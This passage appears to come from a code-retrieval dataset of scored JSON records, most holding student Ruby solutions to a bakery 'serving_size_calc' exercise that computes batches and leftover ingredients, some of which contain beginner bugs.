'Library'\n remaining_ingredients = num_of_ingredients % serving_size #remaining ingredients, equal to num argument and serving size hash value\n output = \"Calculations complete: Make #{num_of_ingredients / serving_size} #{item_to_make} \"\n\n return output + if remaining_ingredients > 0\n \"you have #{remaining_ingredients} leftover ingredients. Suggested baking items: \" +\n if remaining_ingredients >= 5\n \"cake\"\n else\n \"#{remaining_ingredients} cookie(s)\"\n end\n else\n output.chomp(\" \") + \".\"\n end\nend", "title": "" }, { "docid": "43a8ea78dbf95143fdae2084c4006145", "score": "0.6379081", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n \n bakery = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7} \n\n if bakery.has_key?(item_to_make) == false \n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n \n ingredients_needed = bakery[item_to_make] \n remaining_ingredients = num_of_ingredients % ingredients_needed\n string = \"Calculations complete: Make #{num_of_ingredients / ingredients_needed} of #{item_to_make}\"\n\n if remaining_ingredients == 0\n return string\n else\n if remaining_ingredients >= 5\n output = \"You can bake a cake\"\n else \n output = \"You can make some cookies\"\n end\n return string + \", you have #{remaining_ingredients} leftover ingredients. #{output}\" \n end\nend", "title": "" }, { "docid": "48e157b87c862b1d5473b42c12f2eb1e", "score": "0.6374308", "text": "def serving_size_calc(item_to_make, order_quantity)\r\n \r\n # local variable set as a hash, holding content of food we have the option of making \r\n \r\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\r\n# error_counter = 3\r\n\r\n # iterating through the library and if the library doesn't have the item then we subtract one from the error counter\r\n \r\n# library.each do |food|\r\n# if library[food] != library[item_to_make]\r\n# p error_counter += -1\r\n# end\r\n# end\r\n \r\n # if error counter is greater than zero, we get an error \r\n \r\n# if error_counter > 0\r\n \r\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") unless library.include?(item_to_make)\r\n\r\n # new variable is giving us the serving size from the library\r\n # serving size mod is giving us our leftovers\r\n \r\n serving_size = library[item_to_make]\r\n# p library.values_at(item_to_make)[0]\r\n serving_size_mod = order_quantity % serving_size\r\n \r\n # when the leftovers is 0, we print out how much we made, if not, we post how many leftover ingredients we have\r\n case serving_size_mod\r\n when 0\r\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\r\n else\r\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients. Suggested baking items: cookie#{', cake' if serving_size_mod >= 5}.\"\r\n end\r\nend", "title": "" }, { "docid": "6add6b487fbca35bcaeb5c01342ffddd", "score": "0.63706255", "text": "def serving_size_calc(item_to_make, num_of_ingredients) \n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7} \n if library.include?(item_to_make) == false\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") \n end\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n \n suggested = \"\"\n if remaining_ingredients == 6\n suggested = \" 1 cake and 1 cookie, or 6 cookies.\"\n elsif\n remaining_ingredients == 5\n suggested = \" 1 cake, or 5 cookies. \"\n elsif remaining_ingredients <= 4\n suggested = \" #{remaining_ingredients} cookies.\" \n end\n \n case remaining_ingredients \n when 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else \n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{suggested}\"\n end\nend", "title": "" }, { "docid": "ebbdbd76d59b034ad851013dade3c13b", "score": "0.63682383", "text": "def serving_size_calc(dessert, servings_requested)\n receipe_book = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n raise ArgumentError.new(\"#{dessert} is not a valid input\") unless receipe_book.has_key?(dessert)\n \n serving_size = receipe_book[dessert]\n remaining_ingredients = servings_requested % serving_size\n zero_remainder = \"Make #{servings_requested / serving_size} #{dessert}\"\n some_remainder = \", you have #{remaining_ingredients} leftover ingredients.\" \n \n case remaining_ingredients\n when 0 then return zero_remainder\n else return zero_remainder + some_remainder\n end \nend", "title": "" }, { "docid": "54829543f3df6101736bcb21c1ce9645", "score": "0.63587433", "text": "def serving_size_calc(item_to_make, order_quantity)\n \n # library is the _____________.\n # ingredients\n # desert\n# ingredints_per_desert\n \n ingredients_per_desert = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n# error_counter = 3\n\n # Figure out if the bakery can make the requested food.\n # aka does the list of food INCLUDE the item_to_make.\n # Hash#include?\n # Are there any built in methods that can do this for you?\n# ingredints_per_desert.each do |k, v|\n# if ingredints_per_desert[food] != ingredints_per_desert[item_to_make]\n# error_counter += -1\n# end\n# end \n \n can_make_food = ingredients_per_desert.include?(item_to_make)\n\n # If the bakery CANNOT make the request food, raise an error.\n unless can_make_food #error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n # array[index] => element\n # ingredients_for_item_to_make\n \n # Find the number of ingredients needed to make requested food.\n \n serving_size = ingredients_per_desert[item_to_make]\n leftover_ingredients = order_quantity % serving_size\n amount = \"\"\n quantity = 0\n\n ingredients_per_desert.each do |k, v|\n if(leftover_ingredients % v == 0)\n amount = k\n quantity = leftover_ingredients / v\n end\n end\n # In library...\n # Find the value at key = item_to_make\n # So if we pass in \"cookie\" => [1]\n # \"cake\" => [5]\n \n \n # Values at returns an ARRAY of all values that match a given key.\n # However, since there can only be one of each key in the hash...\n # Values_at returns a single element array.\n # values_at(\"cake\") => [5]\n # [\"apples\", \"bananas][0] => \"apples\"\n # [5][0] => 5\n # The \"[0]\" is converting the values_at array to an integer.\n \n # serving_size_mod is the modulus (remainder) of order_ quantity with serving_size\n \n # Figure out if there would be any leftover ingredients.\n leftover_ingredients = order_quantity % serving_size\n\n # when remainder is 0 it returns the cal to make item with how many quantities\n if leftover_ingredients == 0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{leftover_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\n \n \n# case serving_size_mod \n# when 0\n# return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n# else \n# return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n# end\nend", "title": "" }, { "docid": "891a6596a3e500dcfc07bcbdf0f4e673", "score": "0.6356468", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n unless library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n \n serving_size = library[item_to_make]\n \n remaining_ingredients = num_of_ingredients % serving_size \n \n ans = nil\n library.reverse_each do |food, ing|\n if remaining_ingredients % ing == 0\n ans = food\n break\n end\n end\n \n if remaining_ingredients == 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: you can make #{remaining_ingredients / library[ans]} of #{ans}\"\n end\nend", "title": "" }, { "docid": "3fca655a66851c2da65d0bf072dac45e", "score": "0.63506216", "text": "def serving_size_calc(food, serving)\n foods = {\n \"cookie\" => 1,\n \"cake\" => 5,\n \"pie\" => 7\n }\n\n unless foods.has_key?(food)\n raise ArgumentError.new(\"#{food} is not a valid input\")\n end\n\n serving_size = foods[food]\n people_left = serving % serving_size\n\n case people_left\n when 0\n \"Calculations complete: Make #{serving / serving_size} of #{food}\"\n else\n \"Calculations complete: Make #{(serving / serving_size) + 1} of #{food}, you have #{serving_size - people_left} leftover servings.\"\n end\nend", "title": "" }, { "docid": "0f9d735ccab5846074cebc0ee2bdc61a", "score": "0.63486475", "text": "def serving_size_calc(item_to_make, order_quantity)\n menu = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n if menu[item_to_make] == nil\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n #library[item_to_make]\n # assigning serving_size as the value of the array item_to_make\n # and returning as an array\n # serving_size_mod set as remainder of order_quantity divided by\n # serving_size\n serving_size = menu[item_to_make]\n excess_serving = order_quantity % serving_size\n # When serving_size_mod is 0 it returns the amount of the item it'll make\n if excess_serving == 0\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n else\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{excess_serving} leftover people to serve.\"\n end\nend", "title": "" }, { "docid": "19c58c1847ce096c86b09fdcee29ee5a", "score": "0.6346936", "text": "def serving_size_calc(item_to_make, order_quantity)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n # remove error counter\n # compared library key \"item_to_make\" to nil\n # if == nil raise ArgumentError\n\n\n if library[item_to_make] == nil\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n #hashed the keys value of library for the value of the variable serving size\n #Find modulus of Order_quantity/serving size\n serving_size = library[item_to_make]\n serving_size_mod = order_quantity % serving_size\n\n #Remove case statement and replaced it with a simpler if/elsif/else statement\n #Added suggestion function\n #Pushed suggestion keys into an array\n\n suggested=[]\n if serving_size_mod > 0\n library.each do |key,value|\n if serving_size_mod >= value\n\n suggested << key\n end\n end\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients. Suggested baking items:#{suggested}\"\n\n elsif serving_size_mod ==0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n\n else\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you do not have enough ingredients\"\n end\n\nend", "title": "" }, { "docid": "aa0c850a51faad287cfa1208ec1b2a53", "score": "0.63424313", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n unless library.key?(item_to_make) \n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") \n end\n #check to make sure item_to_make is in the library hash\n #IF not, return error message\n \n serving_size = library[item_to_make] \n #define the serving size as the value in the key/value pairs in 'Library' \n remaining_ingredients = num_of_ingredients % serving_size #remaining ingredients, equal to num argument and serving size hash value \n output = \"Calculations complete: Make #{num_of_ingredients / serving_size} #{item_to_make} \" \n \n return output + if remaining_ingredients > 0\n \"you have #{remaining_ingredients} leftover ingredients. Suggested baking items: \" +\n if remaining_ingredients >= 5\n \"cake\"\n else \n \"#{remaining_ingredients} cookie(s)\"\n end\n else\n output.chomp(\" \") + \".\"\n end\nend", "title": "" }, { "docid": "ee45ba6edb4d4ebd8b4337104907768a", "score": "0.63404024", "text": "def serving_size_calc(item_to_make, num_people)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") if library.has_key?(item_to_make) == false\n\n serving_size = library.fetch(item_to_make)\n\n if num_people % serving_size == 0\n return \"Calculations complete: Make #{num_people/serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{(num_people.to_f/serving_size.to_f).ceil} of #{item_to_make}, you have #{serving_size - (num_people % serving_size)} leftover servings.\"\n end\nend", "title": "" }, { "docid": "dd539684271b13338e3e4b854fd6e86f", "score": "0.6340102", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n unless library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n\n cake = 0\n cookie = 0\n if remaining_ingredients > 4\n cake = 1\n remaining_ingredients -= 5\n end\n cookie = remaining_ingredients\n\n if remaining_ingredients == 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{cookie} cookies and #{cake} cakes\"\n end\nend", "title": "" }, { "docid": "b694de5806e3935bbbb03a4a82c7e113", "score": "0.633941", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n #Set key/value of ingredients and number of ingredients\n #Set error counter to 3\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n raise ArgumentError, \"#{item_to_make} is not a valid input\" unless library.has_key?(item_to_make)\n \n #Setting serving size equal to library num_of_ingredients\n #Setting remaining ingredients to remander of number num_of_ingredients/serving_size\n # serving_size = library.values_at(item_to_make)[0]\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n servings = num_of_ingredients / serving_size\n \n \n #Check remaining_ingredients value\n #When 0 output num_of_ingredients/ serving_size and add item name\n #Else output num_of_ingredients / serving_size, add item name, and remaining ingredients\n statement = \"Calculations complete: you can make #{servings} #{item_to_make}(s)\"\n \n if remaining_ingredients > 0\n return statement + \", you have #{remaining_ingredients} leftover ingredients. Consider baking a \" + library.select{|k,v| v <= remaining_ingredients}.keys.sample + \"!\"\n else\n return statement\n end\nend", "title": "" }, { "docid": "d62d358fbbfbdc6c9f639905072b4934", "score": "0.6332571", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n cookbook = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") if cookbook.include?(item_to_make) == false\n\n serving_size = cookbook[item_to_make]\n\n no_leftovers = \"Great! You can make #{num_of_ingredients / serving_size} #{item_to_make}!\"\n has_leftovers = no_leftovers + \" You could make #{num_of_ingredients % serving_size} cookies with your leftovers.\"\n\n return no_leftovers if num_of_ingredients % serving_size == 0\n return has_leftovers if num_of_ingredients % serving_size != 0\nend", "title": "" }, { "docid": "81864f517feb4e2c36270376a6990418", "score": "0.6315511", "text": "def serving_size_calc(item_to_make, people_to_feed)\n \n menu = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n unless menu.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n serving_size = menu[item_to_make]\n hungry_people = people_to_feed % serving_size\n\n case hungry_people\n\n when 0\n return \"Calculations complete: Make #{people_to_feed / serving_size} #{item_to_make}.\"\n else\n # return \"Calculations complete: Make #{(people_to_feed / serving_size)+1} of #{item_to_make}\"\n return \"Calculations complete: Make #{(people_to_feed / serving_size)+1} #{item_to_make}.\"\n #of #{item_to_make}, you have #{hungry_people} left to feed. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\nend", "title": "" }, { "docid": "c024f26f80e7f3232c743bc8c9707fe3", "score": "0.6313639", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n \n #Create a variable Pantry which is a hash. Also a variable called error_counter\n \n pantry = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n error_counter = 3\n \n #Iterating over pantry with each accessing the food keys. Decrease the error counter by 1 each time. \n \n pantry.count do |food|\n if pantry[food] != pantry[item_to_make]\n error_counter -= 1\n end \n end\n\n #If error counter is greater than 0, raise an argument error= food item is not a valid input. \n \n if error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n \n \n # Create a variable serving_size accesses the value of the serving size for the items that are going to be made and puts them into an array. Create another variable called remaining ingredients which is dividing the number of ingredients by the serving size modulo. \n \n serving_size = pantry[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n\n \n \n #Remaining ingredients case created. If there are 0 remaining ingredients, there are no leftovers and it returns a statement. Otherwise you have leftovers and you need to make more things. \n \n case remaining_ingredients\n when 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\" \n end\nend", "title": "" }, { "docid": "c373991c86565b1e03a5c27f49c6f460", "score": "0.63082945", "text": "def serving_size_calc(item_to_make, order_quantity)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n \n # remove error counter\n # compared library key \"item_to_make\" to nil\n # if == nil raise ArgumentError\n\n\n if library[item_to_make] == nil\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n #hashed the keys value of library for the value of the variable serving size\n #Find modulus of Order_quantity/serving size\n serving_size = library[item_to_make]\n serving_size_mod = order_quantity % serving_size\n\n \n \n #Remove case statement and replaced it with a simpler if/elsif/else statement\n #Added suggestion function\n #Pushed suggestion keys into an array\n suggested=[]\n if serving_size_mod > 0\n library.each do |key,value|\n if serving_size_mod >= value\n \n suggested << key\n end\n end \n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you have #{serving_size_mod} leftover ingredients. Suggested baking items:#{suggested}\"\n \n elsif serving_size_mod ==0\n return \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}\"\n \n else\n \"Calculations complete: Make #{order_quantity/serving_size} of #{item_to_make}, you do not have enough ingredients\"\n end\n\nend", "title": "" }, { "docid": "cb36ba84c8b39b70d7502213880751ce", "score": "0.63044035", "text": "def serving_size_calc(item_to_make, num_of_servings)\n desserts = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n raise ArgumentError.new(\"#{item_to_make} is not a dessert we serve\") unless desserts.has_key?(item_to_make)\n\n #-------------------------------------------------\n\n serving_size = desserts[item_to_make]\n remaining_servings = num_of_servings % serving_size\n\n extra = \"cookie\" if remaining_servings < 5\n else extra = \"cake\"\n\n case remaining_servings\n when 0\n return \"Calculations complete: Make #{num_of_servings / serving_size} #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_servings / serving_size} #{item_to_make}. You still have #{remaining_servings} servings remaining. Suggested baking items: #{remaining_servings/desserts[extra]} of #{extra}\"\n end\nend", "title": "" }, { "docid": "ac7a5dea89726b1097308dab45bee824", "score": "0.62980366", "text": "def serving_size_calc(item_to_make, num_of_servings)\n desserts = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n raise ArgumentError.new(\"#{item_to_make} is not a dessert we serve\") unless desserts.has_key?(item_to_make) \n \n #-------------------------------------------------\n\n serving_size = desserts[item_to_make]\n remaining_servings = num_of_servings % serving_size\n \n extra = \"cookie\" if remaining_servings < 5\n else extra = \"cake\"\n\n case remaining_servings\n when 0\n return \"Calculations complete: Make #{num_of_servings / serving_size} #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_servings / serving_size} #{item_to_make}. You still have #{remaining_servings} servings remaining. Suggested baking items: #{remaining_servings/desserts[extra]} of #{extra}\"\n end\nend", "title": "" }, { "docid": "1ca3cce47cce475e564be759856e8f40", "score": "0.62963325", "text": "def size\n original_size * 2 - 1\n end", "title": "" }, { "docid": "63810f7ffea73067d103802db396e877", "score": "0.62947005", "text": "def bonus(size)\n (size ** 2) / 5\n end", "title": "" }, { "docid": "7d8aa52989d859afcb491df85a54a5f0", "score": "0.6293699", "text": "def human_size(n)\n return \"0 B\" if n.zero?\n sizes = %w{B KiB MiB GiB TiB PiB EiB ZiB YiB}\n x = (Math.log(n) / Math.log(1024)).floor\n n = n / (1024.0 ** x)\n n = n.round(2)\n n = n.to_i if n.round == n\n \"#{n} #{sizes[x]}\"\nend", "title": "" }, { "docid": "e0441864f0a90b6560f9a087fb173e5d", "score": "0.62930745", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\ningredients_to_use = {'cookie'=>'chocolate chips', 'cake'=>'chocolate icing', 'pie'=>'cherries'}\n#*********************************************************\n #*** Logical unit 1 ***#\nunless library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\nend\n#*********************************************************\n #*** Logical unit 2 ***#\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n#*********************************************************\n #*** Logical unit 3 ***#\n case remaining_ingredients\n when 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: \" + ingredients_to_use[item_to_make]\n end\nend", "title": "" }, { "docid": "a496fce34f01b1770ad62985ab888f84", "score": "0.62919146", "text": "def serving_size_calc(item_to_make, num_people)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") if library.has_key?(item_to_make) == false\n\n serving_size = library.fetch(item_to_make)\n\n if num_people % serving_size == 0\n return \"Calculations complete: Make #{num_people/serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{(num_people.to_f/serving_size.to_f).ceil} of #{item_to_make}, you have #{serving_size - (num_people % serving_size)} leftover servings.\"\n end\nend", "title": "" }, { "docid": "00d362100df8e9d48dbbb5d70f2955e4", "score": "0.62916416", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n # Menu of Baked Goods for DBC Bakery\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n \n # Error Check \n\n unless library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} Not Found\")\n end\n\n # End Error Check\n\n # Calculate Serving Size\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n baked = num_of_ingredients / serving_size\n \n suggested_baked_good = \"\"\n \n return_string = \"Calculations complete: Make #{baked} of #{item_to_make}\"\n \n # Check remaining ingredients\n if remaining_ingredients == 0\n return return_string\n elsif remaining_ingredients >= 5\n suggested_baked_good = \"cake\"\n return return_string + \", you have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{suggested_baked_good}\"\n else\n suggested_baked_good = \"cookie\"\n return return_string + \", you have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{suggested_baked_good}\"\n return remaining\n end\nend", "title": "" }, { "docid": "509a0faa04ff573e6c59af59467f79a5", "score": "0.6284637", "text": "def display_size\n # (1.9 ** @magnitude) / 3.0 + 2.5\n (2.05 ** @magnitude) / 3.6 + 2.5\n end", "title": "" }, { "docid": "0d93307d8c2af63fd4178fa6c1022caf", "score": "0.62845784", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n #create a hash with item as key and value as number of required ingredients\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n error_counter = 3\n\n #Go through each item to make sure that it is there\n library.each do |food|\n if library[food] != library[item_to_make]\n error_counter += -1\n end\n end\n\n #If we don't have an item raise an argument error\n if error_counter > 0\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n #Getting the number of ingredients from the hash for the item to be named\n #calculates the remaining ingredients\n serving_size = library.values_at(item_to_make)[0]\n remaining_ingredients = num_of_ingredients % serving_size\n\n\n#If remaining ingredients == 0 returns the string with the values\n#If it doesn't equal zero then it returns suggested baking items and leftover ingredients\n\n case remaining_ingredients\n when 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\nend", "title": "" }, { "docid": "644e7a85ba1fc51cf9d637c795a4084f", "score": "0.62840873", "text": "def bow_length\n sizes.inject :*\n end", "title": "" }, { "docid": "2dedf3e14224d1e4a8ccf81eeb7f7787", "score": "0.6283571", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") unless library[item_to_make]\n\n\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n\n if remaining_ingredients == 0\n \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: #{remaining_ingredients} cookies!\"\n end\nend", "title": "" }, { "docid": "ab87f61c10e1b4d957e8d16c6e66f6ed", "score": "0.62744725", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n # # set your library hash of item to make and number of ingredients\n # # iterate through the hash and minus 1 to the error counter if the value does not equal to the item to make value\n\n \n # if the error counter is greater than 0, raise an argument error\n # if error_counter > 0\n if !library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n # set serving_size to value at corresponding key (item to make)\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n # set remaining_ingredients to the leftovers of num_of_ingredients\n\n # if the remaining ingredients is more than or equal to 5 and is a modulus of 5, \n # then put \"you can also make a cake\"\n # if the remaining ingredients is also greater than or equal to 7, and is also a modulus\n # of 7, then put \"you can also make a pie\"\n\n suggested_items = \"cookie \"\n\n if remaining_ingredients >= 5\n suggested_items += \"cake\"\n end\n\n # if remaining_ingredients is 0, write calculation complete, or else put leftovers\n\n if remaining_ingredients == 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make},\n you have #{remaining_ingredients} leftover ingredients. Suggested baking items: \n #{suggested_items}\"\n end\nend", "title": "" }, { "docid": "7bd7b19e0054ed506d815e4c83c43e06", "score": "0.62716925", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n # initialize some variables\n # library is baking item to number ingredients to make 1 of item\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n #checking to see it item_to_make is inside library hash\n\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\") unless library.has_key?(item_to_make)\n\n\n #Get value from passed in key in library\n #divide that into our num_of ingredients\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n\n #Check to see if remainder exists\n\n output = \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n\n\n remaining_ingredients.zero? ? output : output + \", you have #{remaining_ingredients} leftover ingredients. Suggested baking items: \" + leftover(remaining_ingredients)\n\nend", "title": "" }, { "docid": "01b2408a83eb5a90d0a44bddb426482c", "score": "0.6270783", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n raise ArgumentError.new(\"We can only make a cake, cookie, or pie.\") if library.has_key?(item_to_make) == false\n\n serving_size = library[item_to_make]\n items_made = num_of_ingredients / serving_size\n remaining_ingredients = num_of_ingredients % serving_size\n cakes = 0\n cookies = 0\n \n until remaining_ingredients == 0\n if remaining_ingredients >= 6\n remaining_ingredients -= 5\n cakes += 1\n else \n remaining_ingredients -= 1\n cookies += 1\n end\n end\n if item_to_make == \"cookie\"\n return \"Make #{items_made + cookies} cookies.\"\n elsif item_to_make == \"cake\"\n return \"Make #{items_made + cakes} cakes and #{cookies} cookies.\"\n elsif item_to_make == \"pie\"\n return \"Make #{items_made} pies, #{cakes} cakes, and #{cookies} cookies.\"\n end\nend", "title": "" }, { "docid": "0f398ff4a9456ce9bafc2ea9785f595c", "score": "0.62678254", "text": "def cost(size)\n\tif size == \"small\"\n 13.00\n\telsif size == \"medium\"\n 16.00\n elsif size == \"large\"\n 19.00\n end\nend", "title": "" }, { "docid": "9c8647632c7ea85666dd03a2c1a77324", "score": "0.62570554", "text": "def serving_size_calc(item_to_make, num_of_ingredients)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n # if item_to_make is not equal to any of the keys in the library, raise arugment error\n if !library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n serving_size = library[item_to_make]\n remaining_ingredients = num_of_ingredients % serving_size\n\n if remaining_ingredients == 0\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}\"\n else\n return \"Calculations complete: Make #{num_of_ingredients / serving_size} of #{item_to_make}, you have #{remaining_ingredients} leftover ingredients. Suggested baking items: TODO: MAKE THIS FEATURE\"\n end\nend", "title": "" }, { "docid": "febdde3e20445bb4f7cd430e3444bdcf", "score": "0.6253732", "text": "def serving_size_calc(item_to_make, order_quantity)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n\n unless library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n\n serving_size = library[item_to_make]\n serving_size_mod = order_quantity % serving_size\n\n total_to_make = order_quantity/serving_size\n\n case serving_size_mod\n when 0\n return \"Calculations complete: Make #{total_to_make} of #{item_to_make}\"\n when 6\n #one cake one cookie when ordering pie\n return \"Calculations complete: Make #{total_to_make} of #{item_to_make}. You can still make 1 cake and 1 cookie.\"\n when 5\n #one cake when pie ordered\n return \"Calculations complete: Make #{total_to_make} of #{item_to_make}. You can still make 1 cake.\"\n else\n # 4 cookies\n return \"Calculations complete: Make #{total_to_make} of #{item_to_make}. You can still make #{serving_size_mod} cookies.\"\n end\nend", "title": "" }, { "docid": "20f662d0868f03454e1c69646e0b280a", "score": "0.6252008", "text": "def serving_size_calc(item_to_make, num_of_servings)\n library = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n unless library.has_key?(item_to_make)\n raise ArgumentError.new(\"#{item_to_make} is not a valid input\")\n end\n #line 11-21: figure out if the item_to_make input exists in the library\n\n #amount of ingredients required to make the item\n remaining_servings = num_of_servings % library[item_to_make]\n #tells the number of remaining ingredients \n if remaining_servings == 0\n return \"Calculations complete: 